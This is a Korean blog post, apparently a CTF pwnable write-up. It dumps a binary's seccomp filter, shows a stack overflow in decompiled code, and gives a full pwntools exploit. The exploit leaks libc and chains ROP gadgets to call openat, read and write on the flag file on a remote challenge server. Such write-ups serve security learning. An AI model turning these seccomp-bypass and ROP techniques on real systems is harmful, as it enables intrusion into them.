티스토리 뷰
Summary
- seccomp 우회
- gadget in libc
- syscall orw
Analysis
스트링에 base64로 된 문장이 있는데 복호화하면
/home/seccomp/flag
이라는 문장을 얻을 수 있다.
orw
하는 문제라는 것을 예측 할 수 있다.
hyomin@ubuntu:~/hy0/ctf/layer/pwn/how_old$ seccomp-tools dump ./seccomp
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0e 0x00 0x00000002 if (A == open) goto 0020
0006: 0x15 0x0d 0x00 0x00000009 if (A == mmap) goto 0020
0007: 0x15 0x0c 0x00 0x0000000a if (A == mprotect) goto 0020
0008: 0x15 0x0b 0x00 0x00000029 if (A == socket) goto 0020
0009: 0x15 0x0a 0x00 0x00000038 if (A == clone) goto 0020
0010: 0x15 0x09 0x00 0x0000003a if (A == vfork) goto 0020
0011: 0x15 0x08 0x00 0x0000003b if (A == execve) goto 0020
0012: 0x15 0x07 0x00 0x0000003e if (A == kill) goto 0020
0013: 0x15 0x06 0x00 0x00000065 if (A == ptrace) goto 0020
0014: 0x15 0x05 0x00 0x0000009d if (A == prctl) goto 0020
0015: 0x15 0x04 0x00 0x00000130 if (A == open_by_handle_at) goto 0020
0016: 0x15 0x03 0x00 0x00000142 if (A == execveat) goto 0020
0017: 0x15 0x02 0x00 0x00000208 if (A == 0x208) goto 0020
0018: 0x15 0x01 0x00 0x00000221 if (A == 0x221) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
바이너리에 seccomp가 걸려있다.
sys_execve
는 당연히 막혀있고 orw
해야 하는 문제같은데 open
도 막혀있다.
하지만 sys_open은 sys_openat을 이용해서 우회할 수 있다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-110h]
int v5; // [rsp+100h] [rbp-10h]
int v6; // [rsp+104h] [rbp-Ch]
int v7; // [rsp+108h] [rbp-8h]
int i; // [rsp+10Ch] [rbp-4h]
if ( !count )
setup(*(_QWORD *)&argc, argv, envp);
v5 = 0;
v7 = 0;
v6 = 0;
for ( i = 0; i <= 1; ++i )
{
printf("Input your age : ");
v7 = _isoc99_scanf("%u", &v5);
if ( v7 )
{
puts("Hello baby!");
printf("What's your name? : ", &v5);
read(0, &buf, 0x200uLL);
puts("Okay! I know how you are now, baby :)");
}
else
{
puts("Hello adult!");
printf("What's your name? : ", &v5);
read(0, adult, 0x200uLL);
v6 = strlen(adult);
if ( v6 != 5 )
{
puts("Are you Korean?");
exit(1);
}
puts("Okay! I know how you are now, adult :)");
}
}
return 0;
}
bof가 터지므로 rop하면 되는데,
syscall하기 위한 가젯들은 libc_base
주소를 구해 libc내부에 있는 가젯들을 이용하면 된다.
pop_rdi = libc_base + 0x0000000000021102 # pop rdi ; ret
pop_rsi = libc_base + 0x00000000000202e8 # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000001b92 # pop rdx ; ret
pop_rax = libc_base + 0x0000000000033544 # pop rax ; ret
syscall = libc_base + 0x00000000000bc375 # syscall ; ret
libc를 leak해주고 다시 main으로 돌려서 bss영역에 /home/seccomp/flag
문자열을 적어주고
또 main으로 돌려서 orw rop를 짜주면 된다.
Exploit
from pwn import *
#s = process("./seccomp")
s = remote("211.239.124.246", 12403)
e = ELF("./seccomp")
libc = ELF("./libc.so.6")
context.log_level = 'debug'
pr = 0x400eb3
main = 0x0000000000400A96
flag = "/home/seccomp/flag"
payload = "A"*0x110
payload += "BBBBBBBB"
payload += p64(pr)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(main)
s.sendlineafter(": ", "1")
s.sendlineafter(": ",payload)
s.recvuntil("\n")
puts = u64(s.recv(6)+"\x00\x00")
libc_base = puts - 0x6f690
s.recvuntil("\n")
print(hex(libc_base))
pop_rdi = libc_base + 0x0000000000021102 # pop rdi ; ret
pop_rsi = libc_base + 0x00000000000202e8 # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000001b92 # pop rdx ; ret
pop_rax = libc_base + 0x0000000000033544 # pop rax ; ret
syscall = libc_base + 0x00000000000bc375 # syscall ; ret
payload2 = "A"*0x118
payload2 += p64(pop_rdi)
payload2 += p64(0)
payload2 += p64(pop_rsi)
payload2 += p64(0x602060)
payload2 += p64(pop_rdx)
payload2 += p64(0xff)
payload2 += p64(pop_rax)
payload2 += p64(0)
payload2 += p64(syscall)
payload2 += p64(main)
s.sendlineafter(": ", "1")
s.sendlineafter(": ", payload2)
s.sendline(flag+"\x00")
payload3 = "A"*0x118
payload3 += p64(pop_rdi) + p64(0)
payload3 += p64(pop_rsi) + p64(0x602060)
payload3 += p64(pop_rdx) + p64(0)
payload3 += p64(pop_rax) + p64(257)
payload3 += p64(syscall)
payload3 += p64(pop_rdi) + p64(3)
payload3 += p64(pop_rsi) + p64(0x602060+0x50)
payload3 += p64(pop_rdx) + p64(0xff)
payload3 += p64(pop_rax) + p64(0)
payload3 += p64(syscall)
payload3 += p64(pop_rdi) + p64(1)
payload3 += p64(pop_rsi) + p64(0x602060+0x50)
payload3 += p64(pop_rdx) + p64(0xff)
payload3 += p64(pop_rax) + p64(1)
payload3 += p64(syscall)
s.sendlineafter(": ", "1")
s.sendlineafter(": ", payload3)
s.interactive()
'pwnable > CTF write-up' 카테고리의 다른 글
[선린고등해커 2019] simple 풀이 (0) | 2019.12.01 |
---|---|
[Rooters 2019] Secure ROP write-up (0) | 2019.10.23 |
64bit srop write-up (0) | 2018.08.05 |
[BCTF 2016] bcloud write-up (0) | 2018.07.28 |
사이버 가디언즈 1차전 pwn, miscwrite-up (0) | 2018.06.29 |
Comments
최근에 올라온 글
최근에 달린 댓글
TAG
- hacking
- fsop
- FSB
- oob
- tcache
- overflow
- shellcoding
- 본선가고싶다
- SQLi
- 해킹
- rt_sigreturn
- heap
- fastbin
- ebp change
- HackCTF
- glibc
- fastbindup
- pwnable
- srop
- codegate
- stack reusing
- TLS
- pwable
- exit
- pwnable.tw
- Total
- Today
- Yesterday